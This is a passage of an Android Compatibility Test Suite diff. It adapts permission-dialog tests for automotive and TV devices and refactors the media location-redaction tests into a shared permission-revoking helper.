+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndDeny() {
         clickPermissionRequestSettingsLink()
-        click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_deny")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        }
+        waitForIdle()
         pressBack()
     }
 
@@ -331,9 +374,15 @@
         waitForIdle()
         eventually {
             // UiObject2 doesn't expose CharSequence.
-            val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
-                    "com.android.permissioncontroller:id/detail_message"
-            )[0]
+            val node = if (isAutomotive) {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+                        "Allow in settings."
+                )[0]
+            } else {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+                        "com.android.permissioncontroller:id/detail_message"
+                )[0]
+            }
             assertTrue(node.isVisibleToUser)
             val text = node.text as Spanned
             val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -343,20 +392,25 @@
         waitForIdle()
     }
 
-    protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
-        click(
-            By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON)
-        )
+    protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
+    // Only used in TV and Watch form factors
     protected fun clickPermissionRequestDontAskAgainButton() =
         click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
 
-    protected fun clickPermissionRequestNoUpgradeButton() =
-        click(By.res(NO_UPGRADE_BUTTON))
-
-    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
-        By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON)
-    )
+    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
     protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
         setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -412,6 +466,10 @@
             }
             val wasGranted = if (isTv) {
                 false
+            } else if (isAutomotive) {
+                // Automotive doesn't support one time permissions, and thus
+                // won't show an "Ask every time" message
+                !waitFindObject(byTextRes(R.string.deny)).isChecked
             } else {
                 !(waitFindObject(byTextRes(R.string.deny)).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) &&
@@ -423,24 +481,34 @@
             } else {
                 val button = waitFindObject(
                     byTextRes(
-                        when (state) {
-                            PermissionState.ALLOWED ->
-                                if (showsForegroundOnlyButton(permission)) {
-                                    R.string.allow_foreground
-                                } else if (isMediaStorageButton(permission, targetSdk)) {
-                                    R.string.allow_media_storage
-                                } else if (isAllStorageButton(permission, targetSdk)) {
-                                    R.string.allow_external_storage
-                                } else {
-                                    R.string.allow
-                                }
-                            PermissionState.DENIED ->
-                                if (!isLegacyApp && hasAskButton(permission)) {
-                                    R.string.ask
-                                } else {
-                                    R.string.deny
-                                }
-                            PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                        if (isAutomotive) {
+                            // Automotive doesn't support one time permissions, and thus
+                            // won't show an "Ask every time" message
+                            when (state) {
+                                PermissionState.ALLOWED -> R.string.allow
+                                PermissionState.DENIED -> R.string.deny
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
+                        } else {
+                            when (state) {
+                                PermissionState.ALLOWED ->
+                                    if (showsForegroundOnlyButton(permission)) {
+                                        R.string.allow_foreground
+                                    } else if (isMediaStorageButton(permission, targetSdk)) {
+                                        R.string.allow_media_storage
+                                    } else if (isAllStorageButton(permission, targetSdk)) {
+                                        R.string.allow_external_storage
+                                    } else {
+                                        R.string.allow
+                                    }
+                                PermissionState.DENIED ->
+                                    if (!isLegacyApp && hasAskButton(permission)) {
+                                        R.string.ask
+                                    } else {
+                                        R.string.deny
+                                    }
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
                         }
                     )
                 )
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
index 5b67e6a..f0b1f80 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
@@ -109,10 +109,14 @@
     @Test
     fun testReviewPermissionWhenServiceIsBound() {
         val results = LinkedBlockingQueue<Int>()
-        activityRule.launchActivity(null).startService(
+        // We are starting a activity instead of the service directly, because
+        // the service comes from a different app than the CTS tests.
+        // This app will be considered idle on devices that have idling enabled (automotive),
+        // and the service wouldn't be allowed to be started without the activity.
+        activityRule.launchActivity(null).startActivity(
             Intent().apply {
                 component = ComponentName(
-                    APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.CheckPermissionService"
+                    APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.StartCheckPermissionServiceActivity"
                 )
                 putExtra(
                     "$APP_PACKAGE_NAME.RESULT",
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 01b4058..a5f8939 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -20,6 +20,7 @@
 import android.content.pm.PackageManager
 import android.support.test.uiautomator.By
 import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Test
 
@@ -35,6 +36,9 @@
 
     @Test
     fun testTapjackGrantDialog() {
+        // PermissionController for television uses a floating window.
+        assumeFalse(isTv)
+
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
@@ -45,7 +49,7 @@
             SystemUtil.eventually({
                 if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
                         PackageManager.PERMISSION_DENIED) {
-                    waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 100).click()
+                    clickPermissionRequestAllowForegroundButton(100)
                 }
                 assertAppHasPermission(ACCESS_FINE_LOCATION, true)
             }, 10000)
@@ -54,6 +58,10 @@
         }
         // Permission should not be granted and dialog should still be showing
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
-        waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 1000)
+
+        // On Automotive the dialog gets closed by the tapjacking activity popping up
+        if (!isAutomotive) {
+            clickPermissionRequestAllowForegroundButton()
+        }
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
         clickPermissionRequestSettingsLink()
         eventually {
             pressBack()
-            waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            if (isAutomotive) {
+                waitFindObject(By.textContains("Allow in settings."), 100)
+            } else {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            }
         }
     }
 
@@ -181,8 +185,9 @@
             android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
         ) {
             clickPermissionRequestSettingsLinkAndDeny()
+            waitForIdle()
+            pressBack()
         }
-        pressBack()
 
         assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
 
         requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
             clickAllowAlwaysInSettings()
+            waitForIdle()
             pressBack()
         }
     }
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
index 4f0bc3e..0c9a60c 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowLandscapeTest.java
@@ -42,7 +42,9 @@
     @Before
     public void setup() {
         requireLandscapeModeSupport();
-        mTestUtils = new TestUtils();
+        mActivity = launchActivity(null);
+        mTestUtils = new TestUtils(mActivityRule);
+        mActivity.finish();
     }
 
     /**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
index 155b799..8500425 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityFlowPortraitTest.java
@@ -41,7 +41,9 @@
     @Before
     public void setup() {
         requirePortraitModeSupport();
-        mTestUtils = new TestUtils();
+        mActivity = launchActivity(null);
+        mTestUtils = new TestUtils(mActivityRule);
+        mActivity.finish();
     }
 
     /**
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index e70a34b..ba6182a 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -52,7 +52,7 @@
 
     @Before
     public void setup() {
-        mTestUtils = new TestUtils();
+        mTestUtils = new TestUtils(mActivityRule);
         mActivity = mActivityRule.getActivity();
     }
 
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index d15d99f..30bd9fc 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -22,6 +22,7 @@
 import android.content.Context;
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
+import android.graphics.Rect;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -29,8 +30,12 @@
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.Window;
 
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 /**
  * Collection of helper utils for testing preferences.
@@ -45,13 +50,17 @@
     private final UiAutomation mAutomation;
     private int mStatusBarHeight = -1;
     private int mNavigationBarHeight = -1;
+    private Display mDisplay;
+    private Window mWindow;
 
-    TestUtils() {
+    TestUtils(ActivityTestRule<?> rule) {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getTargetContext();
         mPackageName = mContext.getPackageName();
         mDevice = UiDevice.getInstance(mInstrumentation);
         mAutomation = mInstrumentation.getUiAutomation();
+        mDisplay = rule.getActivity().getDisplay();
+        mWindow = rule.getActivity().getWindow();
     }
 
     void waitForIdle() {
@@ -75,7 +84,7 @@
         int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
         int yToCut = statusBarHeight;
 
-        if (isLandscape()) {
+        if (hasVerticalNavBar()) {
             xToCut += navigationBarHeight;
         } else {
             yToCut += navigationBarHeight;
@@ -154,9 +163,12 @@
         return mNavigationBarHeight;
     }
 
-    private boolean isLandscape() {
-        return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation
-            == Configuration.ORIENTATION_LANDSCAPE;
+    private boolean hasVerticalNavBar() {
+        Rect displayFrame = new Rect();
+        mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+        DisplayMetrics dm = new DisplayMetrics();
+        mDisplay.getRealMetrics(dm);
+        return dm.heightPixels == displayFrame.bottom;
     }
 
     private UiObject2 getTextObject(String text) {
diff --git a/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4 b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
new file mode 100644
index 0000000..5b307e2
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/moov-at-end.mp4 b/tests/tests/provider/res/raw/moov-at-end.mp4
new file mode 100644
index 0000000..cdf74b5
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/testvideo_meta.mp4 b/tests/tests/provider/res/raw/testvideo_meta.mp4
index 8f04b40..e83c61d 100644
--- a/tests/tests/provider/res/raw/testvideo_meta.mp4
+++ b/tests/tests/provider/res/raw/testvideo_meta.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index feeb87cb..942d4f4 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -22,8 +22,10 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.graphics.Bitmap;
@@ -35,6 +37,7 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.UserManager;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
@@ -252,11 +255,21 @@
         if (userManager.isSystemUser() &&
                     FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
+            waitUntilExists(file.getParentFile());
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
                 final long count = afd.getLength();
 
+                try {
+                    // Try to create the file as calling package so that calling package remains
+                    // as owner of the file.
+                    file.createNewFile();
+                } catch (IOException ignored) {
+                    // Apps can't create files in other app's private directories, but shell can. If
+                    // file creation fails, we ignore and let `dd` command create it instead.
+                }
+
                 executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
                         source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
 
@@ -471,4 +484,31 @@
             throw new IllegalArgumentException();
         }
     }
+
+    /** Revokes ACCESS_MEDIA_LOCATION from the test app */
+    public static void revokeMediaLocationPermission(Context context) throws Exception {
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
+                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            PackageManager packageManager = context.getPackageManager();
+            String packageName = context.getPackageName();
+            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
+                    packageName) == PackageManager.PERMISSION_GRANTED) {
+                context.getPackageManager().updatePermissionFlags(
+                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, context.getUser());
+                context.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8a4619e..9d3755a 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
 package android.provider.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
@@ -89,6 +90,8 @@
         Intent settingsIntent = new Intent(android.provider.Settings.ACTION_SETTINGS);
         mSettingsPackage = packageManager.resolveActivity(settingsIntent,
                 PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+        assumeFalse("Skipping test: Auto does not support provider android.settings.panel", isCar());
     }
 
     @After
@@ -110,6 +113,7 @@
 
     @Test
     public void volumePanel_correctPackage() {
+        assumeTrue(mHasTouchScreen);
         launchVolumePanel();
 
         String currentPackage = mDevice.getCurrentPackageName();
@@ -181,6 +185,7 @@
 
     @Test
     public void volumePanel_doneClosesPanel() {
+        assumeTrue(mHasTouchScreen);
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
@@ -262,13 +267,13 @@
 
     @Test
     public void volumePanel_seeMoreButton_launchesIntoSettings() {
+        assumeTrue(mHasTouchScreen);
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
         assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        assumeTrue(mHasTouchScreen);
         pressSeeMore();
 
         // Assert that we're still in Settings, on a different page.
@@ -382,4 +387,9 @@
         mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
     }
+
+    private boolean isCar() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index df47fac..1d18a8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -25,12 +25,10 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -40,7 +38,6 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.os.storage.StorageManager;
 import android.provider.BaseColumns;
 import android.provider.MediaStore;
@@ -300,8 +297,6 @@
      */
     @Test
     public void testUpdateAndReplace() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -339,8 +334,6 @@
 
     @Test
     public void testUpsert() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -395,30 +388,12 @@
         assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
     }
 
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
-     * location information should be redacted.
-     */
     @Test
     public void testLocationRedaction() throws Exception {
         // STOPSHIP: remove this once isolated storage is always enabled
         Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalImages, displayName, "image/jpeg");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
-                 OutputStream out = session.openOutputStream()) {
-                android.os.FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
+                "image/jpeg");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
 
         // Since we own the image, we should be able to see the Exif data that
@@ -439,32 +414,8 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
-                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            PackageManager packageManager = mContext.getPackageManager();
-            String packageName = mContext.getPackageName();
-            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
-                    packageName) == PackageManager.PERMISSION_GRANTED) {
-                mContext.getPackageManager().updatePermissionFlags(
-                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                    dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that Exif/XMP location data should be redacted
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
         ProviderTestUtils.clearOwner(publishUri);
         try (InputStream is = mContentResolver.openInputStream(publishUri)) {
             final ExifInterface exif = new ExifInterface(is);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index dca7382..88295eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -27,19 +27,16 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.os.storage.StorageManager;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files.FileColumns;
@@ -203,41 +200,32 @@
         return context.getContentResolver().insert(mExternalVideo, values);
     }
 
-    /**
-     * This test doesn't hold
-     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif and XMP
-     * location information should be redacted.
-     */
     @Test
-    public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(
-                mExternalVideo, displayName, "video/mp4");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo_meta);
-                 OutputStream out = session.openOutputStream()) {
-                FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
+    public void testOriginalAccess() throws Exception {
+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+                "video/mp4");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
 
-        // Since we own the video, we should be able to see the location
-        // we ourselves contributed
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals("+37.4217-122.0834/",
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        // As owner, we should be able to request the original bytes
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
+
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
+        ProviderTestUtils.clearOwner(publishUri);
+
+        // We can't request original bytes unless we have permission
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+        } catch (UnsupportedOperationException expected) {
+        }
+    }
+
+    @Test
+    public void testXmpLocationRedaction() throws Exception {
+        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+                "video/mp4");
+
         try (InputStream in = mContentResolver.openInputStream(publishUri);
                 ByteArrayOutputStream out = new ByteArrayOutputStream()) {
             FileUtils.copy(in, out);
@@ -248,44 +236,11 @@
             assertTrue("Failed to read XMP latitude", xmp.contains("53,50.070500N"));
             assertTrue("Failed to read non-location XMP", xmp.contains("13166/7763"));
         }
-        // As owner, we should be able to request the original bytes
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-        }
 
-        // Remove ACCESS_MEDIA_LOCATION permission
-        try {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                    .adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES",
-                            "android.permission.REVOKE_RUNTIME_PERMISSIONS");
-
-            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
-            // Deny access_media_permission App op to revoke this permission.
-            PackageManager packageManager = mContext.getPackageManager();
-            String packageName = mContext.getPackageName();
-            if (packageManager.checkPermission(android.Manifest.permission.ACCESS_MEDIA_LOCATION,
-                    packageName) == PackageManager.PERMISSION_GRANTED) {
-                mContext.getPackageManager().updatePermissionFlags(
-                        android.Manifest.permission.ACCESS_MEDIA_LOCATION, packageName,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT,
-                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, mContext.getUser());
-                mContext.getSystemService(AppOpsManager.class).setUidMode(
-                        "android:access_media_location", Process.myUid(),
-                        AppOpsManager.MODE_IGNORED);
-            }
-        } finally {
-                InstrumentationRegistry.getInstrumentation().getUiAutomation().
-                        dropShellPermissionIdentity();
-        }
-
-        // Now remove ownership, which means that location should be redacted
+        // Revoke location access and remove ownership, which means that location should be redacted
+        ProviderTestUtils.revokeMediaLocationPermission(mContext);
         ProviderTestUtils.clearOwner(publishUri);
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals(null,
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
-        }
+
         try (InputStream in = mContentResolver.openInputStream(publishUri);
                 ByteArrayOutputStream out = new ByteArrayOutputStream()) {
             FileUtils.copy(in, out);
@@ -296,10 +251,52 @@
             assertFalse("Failed to redact XMP latitude", xmp.contains("53,50.070500N"));
             assertTrue("Redacted non-location XMP", xmp.contains("13166/7763"));
         }
-        // We can't request original bytes unless we have permission
-        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
-            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
-        } catch (UnsupportedOperationException expected) {
+    }
+
+    @Test
+    public void testIsoLocationRedaction() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
+        // modified to +58.0000+011.0000 (middle of Skagerrak).
+        int[] videoIds = new int[] {
+            R.raw.testvideo_meta,
+            R.raw.moov_at_end,
+            R.raw.moov_at_end_zero_len,
+        };
+        Uri[] uris = new Uri[videoIds.length];
+        for (int i = 0; i < videoIds.length; i++) {
